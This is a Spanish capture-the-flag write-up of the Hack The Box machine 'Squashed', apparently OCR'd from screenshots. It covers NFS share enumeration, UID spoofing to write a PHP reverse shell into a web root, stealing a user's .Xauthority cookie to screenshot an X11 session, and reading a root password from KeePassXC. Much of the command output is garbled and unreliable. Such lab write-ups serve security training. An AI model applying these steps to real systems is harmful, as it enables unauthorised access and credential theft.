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1.Enumeracion

Realizamos un PING a la mdaquina victima para comprobar su TTL. A partir del valor
devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso
podemos deducir que se trata de una maquina Linux.

/home/kali/HTB/Squashed
110.10.11.191
PING 10.10.11.191 (10.10.11.191) 56(84) bytes of data.
64 bytes from 10.10.11.191: icmp_seq=1 ttl=63 time=39.8 ms

— 10.10.11.191 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time @ms
rtt min/avg/max/mdev = 39.821/39.821/39.821/0.000 ms

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes
servicios y versiones asociados.

93 scan initiated Wed Aug 5 sCV ,80,111, i ; v ; n -v -oN targeted

x; protocol )

_http-tit B
http-methods

program version port/proto service
0 11/tcp  rpcbind
11/udp rpcbind
1/tcp6 rpcbind
udp6 |
udp
udp6
tep
tcpb
1/tcp
udpé
udp
tcp6  moun
1/tcp6
tep
udp6

tcp open nfs_acl (
tcp open mountd
tcp open mountd
1/tcp open nlockmg
93/tcp open mountd
Info: 0S: Linux;

E: cpe:/o:linux:linux_kernel

data files from: /usr/bin
detection performed.

1. X-UA-Compatible[

Abrimos la direccion web http://10.10.11.191 en nuestro navegador web y consultamos
nuevamente las tecnologias usadas con el plugin wappalyzer por si nos aporta algo mas
de informacion.
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Miscellaneous CDN
@  Popper cdnjs

., Cloudflare
Web servers

Apache HTTP

2441 i i i
R JavaScript libraries
\) FancyBox

Operating systems

® Ubuntu

&  jQuery 3.00

% OWL Carousel

Ul frameworks

& Bootstrap

Realizamos una enumeracidon manual de la pagina web, pero no encontramos nada en
especial. Tampoco encontramos nada realizando una enumeracion de directorios con

gobuster.

& C @ O A& 10.10.11.191
OffSec B Installation Cannot Co...

KaliLinux 8 Kali Tools « KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

BUILT BETTER HOME SERVICES ABOUT SHOP CONTACT

FURNITURE

There are many variations of passages of Lorem Ipsum available, but
the majority have suffered alteration in some fo
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2. Analisis de
vulnerabilidades

Nos centramos en los demas servicios. Parece que se esta compartiendo una serie de
carpetas mediante el protocolo NFS.

éQué es NFS?
Network File System, o NFS, es un protocolo de nivel de aplicacion, segun el Modelo
OSI. Es utilizado para sistemas de archivos distribuido en un entorno de red de
computadoras de area local. Posibilita que distintos sistemas conectados a una misma
red accedan a ficheros remotos como si se tratara de locales.

Para comprobarlo, ejecutamos el siguiente comando, que nos dard los recursos
compartidos.

/home/kali/HTB/Squashed
10.10.11.191
Export list for 10.10.11.191:

/home/ross *
/var/wami/html *

Nos creamos unos directorios en nuestra maquina y probamos a ver si somos capaces de
montar esos dos recursos.

/home/kali/HTB/Squashed
r /mnt/htb_ross

/home/kali/HTB/Squashed
/mnt/htb_html

/home/kali/HTB/Squashed
nfs 10.10.11.191:/home/ross /mnt/htb_ross -o nolock

/home/kali/HTB/Squashed
nfs 10.10.11.191:/var/ww/html/ /mnt/htb_html -0 nolock

Todo haido correcto, sin errores, por lo que deberiamos tener acceso a dichos recursos.
Intentamos leer los ficheros del directorio, de lo que suponemos, es el directorio raiz de
la pagina web. Pero nos da un error de acceso denegado.
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Jhome/kali/HTB/Squashed
-la /mnt/htb_html

[/mnt/htb_html/.ht: s5: Permission denied (os error ]|
[/mnt/htb_html/index.html: Permission denied (os error 13)]
[/mnt/htb_html/images: Permission denied (os error 13)]
[/mnt/htb_html/css: Permission denied (os error 13)]
[/mnt/htb_html/js: Permission denied (os error 13)]

Siguiendo este enlace de Hacktricks vemos que podemos hacer una enumeracion mas
exhaustiva de los servicios de NFS.

/home/kali/HTB/Squashed

2049,111 10.10.11.191

STATE SERVICE
open rpchind
nfs-showmount:

dify NoExtend NoDelete No ute
. TIME FILENAME

ession-errors.old
cuments
Music
Pictures
Public

2049/tcp open nfs

Mmap done: 1 IP address (1 host up) scanned in 1.69 seconds

Jhome/kali/HTB/Squashed

Vemos que el propietario del directorio /var/www/html es un usuario cuyo UID es 2017.
Revisando el mismo enlace anteriormente mencionado, vemos que podemos probar a
cambiar nuestro UID para intentar ganar acceso al recurso.
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Permissions

If you mount a folder which contains files or folders only accesible by some user (by UID). You
can create locally a user with that UID and using that user you will be able to access the
file/folder.

Por tanto, nos creamos un usuario y modificamos su UID.

~kali/HTB/Squashed
squashed

~kali/HTB/Squashed
2017 squashed

~kali/HTB/Squashed
bir la nueva contrasefa:
efia actualizada correctamente

~kali/HTB/Squashed

Nos convertimos en el usuario recién creado e intentamos de nuevo acceder a los
archivos del recurso. Esta vez, podemos ver su contenido. Probamos a crear un fichero
de prueba y nos lo permite, por lo que ya tenemos una via potencial de ganar acceso a la
magquina.

~kali/HTB/Squashed
squashed
$ bash
sguashedilkali: /home/kali/HTE/Squashed% 1s -la /mnt/htb_html/
total 5¢
sguashed www-data 4096 ago
root root 4096

squashed wwaw
squashed
squashed 2 g
squashed a 532 2 8 index.html
squashed @ : } js
yLi:/home/kali/ / Smnt/htb_html/prueba.txt
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3. Explotacion y acceso

Nos descargamos de aqui un archivo malicioso que nos permita generar una reverse shell.
Lo renombraremos shell.php y modificamos los parametros de IP y puerto para ajustarlos
a nuestro entorno. En mi caso, estaré escuchando con netcat por el puerto 443.

set_time limit (@);
$VERSION '1.8";

$ip '19.10.14.7";
$port W43 ;

Lo copiamos al directorio raiz de la aplicacion web y realizamos una peticion al archivo
gue hemos subido, mediante curl.

sduashedmkali:fhomefkalifHTEf 'uashed$ cp /home/kal TEEthashedfcontentfshell.php /mnt/htb_html/.
squashedgkali: /home/ka uashed$ curl -s http:/ .18.11.191/shell.php
-

Ganamos acceso a la maquina victima.

fhome/kali/HTB/Squashed/content

ho [1
quashed.htb

4.Escalada de privilegios.

Comprobamos que estamos en la maquina host y no en un contenedor o similar.

alexmsquashed:/
1a.

alexmsquashed:,
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Revisamos los subdirectorios de /home y vemos uno que nos resulta familiar de la fase
de enumeracion (/home/ross). Parece que es uno de los recursos, que podiamos montar
por NFS.

alexdsquashed: /home/ross$ 1s a /home

root root 4896 21

root root 4@96 21
 alex alex 4096 21

ross ross 4896 g 18 ¢
:/home/ross$ |

A pesar de estar como el usuario alex, tenemos capacidad de lectura sobre el directorio
/home/ross. Revisamos su contenido y nos llama la atencidén los ficheros marcados en
rojo.

alexgsquashed: /home/ross$ 1s
total &8
ross ross 4096 g 18 86:01
root root 4096 296 ; 218,
—T————— ross ross 57 § Xauthority
Lrwxrwxrwx root root 9 : ' .bash_history — /dev/null
¥ 11 ross ross 4096 2 .cache
12 ross ross 4096 2 .config
3 ross ross 4096 . .gnupg
drwx 3 ross ross 4@96 2 : .local
Trwxrwxrwx root root p. 2022 .viminfo — /fdev/null
ross ross 2475 . .X5e5510N-€rrors
ross ross 247 ; 27 20822 .xsession-errors.old
ross ross 499 . 22 De
ross p. Doc
ross 40896 2 Download
ross ross 4096 p. : Music
ross ross 4096 p. 20 Pictures
ross ross 4096 p. Public
055 ross 4096 2 : Templates
ross ross 4096 2 ? Videos
:/home/ross$ |

—+

5
ros 5

(=}
[F3]
L T T T T 1 |

Estos ficheros son logs de errores de conexidn del servicio X11. En él, podemos ver que
se hace uso del fichero /home/ross/.Xauthority.

squashedikali: /home/kali/HTB/Squashed$ cat / /
dbus-upda i i envi ent: setting DBUS B A 2 1ix:path=/Tun/user/1001/bus
dbus-update- i 2 ronment: setting

ronment: setting XA / uthority
ronment: setting
dbus-update-activation-environment: setting
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¢Qué son los ficheros .Xauthority?

Los ficheros .Xauthority, normalmente estan contenidos en la carpeta home del
usuario y es utilizado por X11 para la autorizacién. Es un fichero que contiene una
cookie de 128 bit. El cliente envia esta clave en texto plano al servidor para autorizar
la conexidn. Esta clave, es generada por DMX.

No podemos utilizar, desde la propia maquina ese fichero porque solo el usuario ross
tiene acceso al mismo.

-T'w 1 ross ross 57 Aug 18 26:01 PEEliGLiGRLY

W o A —_———_ L L oE R S o Bttt L L | TS R I

Sin embargo, hay que recordar que el directorio /home/ross se estaba publicando como
recurso NFS. Al igual que hicimos con el directorio raiz de la pagina web, podemos volver
a cambiarnos el UID del usuario squashed que nos creamos en nuestra maquina para
tener acceso al fichero en cuestion.

~kali/HTB/Squashed/content

18@1 sqguashed

Nos copiamos el fichero a nuestra maquina, desde el recurso compartido por NFS que
tenemos montado.

1i/HTB/Squashed$ cp _ mnt /htb_ross/.Xaut horit y /home/kali/HTB/Squashed/content/.
kali/HTB/Sguashed$ |

Lo pasamos a la maquina victima de nuevo, pero en un directorio donde tengamos acceso
con el usuario alex, por ejemplo, en /tmp/.

/home/kali/HTB/Squashed/content
http.server 8@
Serving HTTP on @ @ port 80 (http://0

o
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Tal y como se indica en Hacktricks, para poder usar esa cookie, tenemos que cambiar
nuestra variable de entono.

Vemos en qué ventana nos encontramos.

alex@squashed: /tmp$ xauth list f

vashed.htb/uni MIT-MAGIC-COOKIE-1 c&41c8516eb4bef7cclbsche9ldfdigae
ex@squashed:/tmp$ |

Tomamos una captura de pantalla en la sesién X11 del usuario roos y la pasamos a
nuestra maquina de atacante.

» screenshot . xwd

La convertimos en un formato de imagen legible.

Jhome/kali/HTB/Squashed/content

screenshot.xwd screenshot.png

Y conseguimos ver la clave de root. Probamos a convertirnos en root con dichas
credenciales.

Activities ® KeePassXC ~ Aug 18 14:35
Passwords - KeePassXC X
Database Entries Groups Tools Help
= Qﬁg ‘Q{ Qﬁ?j a b)) 6 H s | /‘ |Q Search (Ctrl+F)... ]
™ Root Title ~ Username Password URL Notes

‘@ System.. root cah$mei7rai9A

alex@squashed: /home/ross$% su root

Password:

root@squashed: /home/ross# whoami
root

root@squashed: /home/ross# |
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